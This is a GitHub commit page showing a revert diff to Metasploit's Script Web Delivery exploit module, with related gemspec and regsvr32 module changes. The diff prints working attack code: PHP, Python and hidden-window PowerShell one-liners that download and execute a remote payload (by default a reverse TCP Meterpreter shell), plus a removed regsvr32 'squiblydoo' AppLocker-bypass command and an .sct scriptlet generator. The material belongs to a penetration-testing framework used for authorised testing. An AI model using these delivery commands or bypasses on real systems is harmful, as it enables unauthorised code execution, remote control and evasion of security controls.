Skip to content

Commit ca28abf

Browse files
committed
Revert "Land rapid7#8933, Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)"
This reverts commit 4999606, reversing changes made to 4274b76.
1 parent 87d34be commit ca28abf

File tree

3 files changed

+35
-124
lines changed

3 files changed

+35
-124
lines changed

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
139139
# Library for Generating Randomized strings valid as Identifiers such as variable names
140140
spec.add_runtime_dependency 'rex-random_identifier'
141141
# library for creating Powershell scripts for exploitation purposes
142-
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
142+
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
143143
# Library for processing and creating Zip compatbile archives
144144
spec.add_runtime_dependency 'rex-zip'
145145
# Library for parsing offline Windows Registry files

modules/exploits/multi/script/web_delivery.rb

Lines changed: 34 additions & 120 deletions
Original file line numberDiff line numberDiff line change
@@ -8,54 +8,40 @@
88
class MetasploitModule < Msf::Exploit::Remote
99
Rank = ManualRanking
1010

11-
include Msf::Exploit::EXE
1211
include Msf::Exploit::Powershell
1312
include Msf::Exploit::Remote::HttpServer
1413

1514
def initialize(info = {})
1615
super(update_info(info,
1716
'Name' => 'Script Web Delivery',
1817
'Description' => %q(
19-
This module quickly fires up a web server that serves a payload.
20-
The provided command which will allow for a payload to download and execute.
21-
It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
22-
for bypassing application whitelisting. The main purpose of this module is to quickly establish
23-
a session on a target machine when the attacker has to manually type in the command:
24-
e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
25-
This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
26-
escalations supplied by Meterpreter.
27-
28-
When using either of the PSH targets, ensure the payload architecture matches the target computer
29-
or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
30-
31-
Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
32-
The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
33-
PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
34-
can occur on the same port.
35-
36-
"PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
18+
This module quickly fires up a web server that serves a payload.
19+
The provided command will start the specified scripting language interpreter and then download and execute the
20+
payload. The main purpose of this module is to quickly establish a session on a target
21+
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
22+
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
23+
write to disk so it is less likely to trigger AV solutions and will allow privilege
24+
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
25+
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
26+
x86 payloads on x64 machines.
3727
),
3828
'License' => MSF_LICENSE,
3929
'Author' =>
4030
[
4131
'Andrew Smith "jakx" <[email protected]>',
4232
'Ben Campbell',
43-
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
44-
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
45-
'Trenton Ivey', # AppLocker MSF Module (kn0)
46-
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
33+
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
4734
],
4835
'DefaultOptions' =>
4936
{
5037
'Payload' => 'python/meterpreter/reverse_tcp'
5138
},
5239
'References' =>
5340
[
54-
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
55-
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
41+
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
42+
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
5643
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
57-
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
58-
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
44+
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
5945
],
6046
'Platform' => %w(python php win),
6147
'Targets' =>
@@ -71,117 +57,45 @@ def initialize(info = {})
7157
['PSH', {
7258
'Platform' => 'win',
7359
'Arch' => [ARCH_X86, ARCH_X64]
74-
}],
75-
['Regsvr32', {
76-
'Platform' => 'win',
77-
'Arch' => [ARCH_X86, ARCH_X64]
78-
}],
79-
['PSH (Binary)', {
80-
'Platform' => 'win',
81-
'Arch' => [ARCH_X86, ARCH_X64]
8260
}]
8361
],
8462
'DefaultTarget' => 0,
8563
'DisclosureDate' => 'Jul 19 2013'
8664
))
87-
88-
register_advanced_options(
89-
[
90-
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
91-
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
92-
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
93-
], self.class
94-
)
95-
end
96-
97-
98-
def primer
99-
php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
100-
python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
101-
regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
102-
103-
print_status("Run the following command on the target machine:")
104-
case target.name
105-
when 'PHP'
106-
print_line("#{php}")
107-
when 'Python'
108-
print_line("#{python}")
109-
when 'PSH'
110-
psh = gen_psh("#{get_uri}", "string")
111-
print_line("#{psh}")
112-
when 'Regsvr32'
113-
print_line("#{regsvr}")
114-
when 'PSH (Binary)'
115-
psh = gen_psh("#{get_uri}", "download")
116-
print_line("#{psh}")
117-
end
11865
end
11966

120-
12167
def on_request_uri(cli, _request)
122-
if _request.raw_uri =~ /\.sct$/
123-
psh = gen_psh("#{get_uri}", "string")
124-
data = gen_sct_file(psh)
125-
elsif target.name.include? 'PSH (Binary)'
126-
data = generate_payload_exe
127-
elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
68+
print_status('Delivering Payload')
69+
if target.name.include? 'PSH'
12870
data = cmd_psh_payload(payload.encoded,
12971
payload_instance.arch.first,
13072
remove_comspec: true,
13173
exec_in_place: true
13274
)
13375
else
134-
data = %Q(#{payload.encoded})
135-
end
136-
137-
if _request.raw_uri =~ /\.sct$/
138-
print_status("Handling .sct Request")
139-
send_response(cli, data, 'Content-Type' => 'text/plain')
140-
else
141-
print_status("Delivering Payload")
142-
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
76+
data = %Q(#{payload.encoded} )
14377
end
78+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
14479
end
14580

146-
147-
def gen_psh(url, *method)
81+
def primer
82+
url = get_uri
83+
print_status('Run the following command on the target machine:')
84+
case target.name
85+
when 'PHP'
86+
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
87+
when 'Python'
88+
print_line('Python:')
89+
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
90+
when 'PSH'
14891
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
149-
150-
if method.include? 'string'
151-
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
152-
else
153-
# Random filename to use, if there isn't anything set
154-
random = "#{rand_text_alphanumeric 8}.exe"
155-
156-
# Set filename (Use random filename if empty)
157-
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
158-
159-
# Set path (Use %TEMP% if empty)
160-
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
161-
162-
# Join Path and Filename
163-
file = %Q(echo (#{path}+'\\#{filename}'))
164-
165-
# Generate download PowerShell command
166-
download_string = Rex::Powershell::PshMethods.download_run(url, file})
167-
end
168-
92+
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
16993
download_and_run = "#{ignore_cert}#{download_string}"
170-
171-
# Generate main PowerShell command
172-
return generate_psh_command_line(noprofile: true,
173-
windowstyle: 'hidden',
174-
command: download_and_run
175-
)
176-
end
177-
178-
179-
def rand_class_id
180-
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
181-
end
182-
183-
184-
def gen_sct_file(command)
185-
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
94+
print_line generate_psh_command_line(
95+
noprofile: true,
96+
windowstyle: 'hidden',
97+
command: download_and_run
98+
)
99+
end
186100
end
187101
end

modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Powershell
1010
include Msf::Exploit::Remote::HttpServer
11-
include Msf::Module::Deprecated
12-
13-
deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
1411

1512
def initialize(info = {})
1613
super(update_info(info,

0 commit comments

Comments
 (0)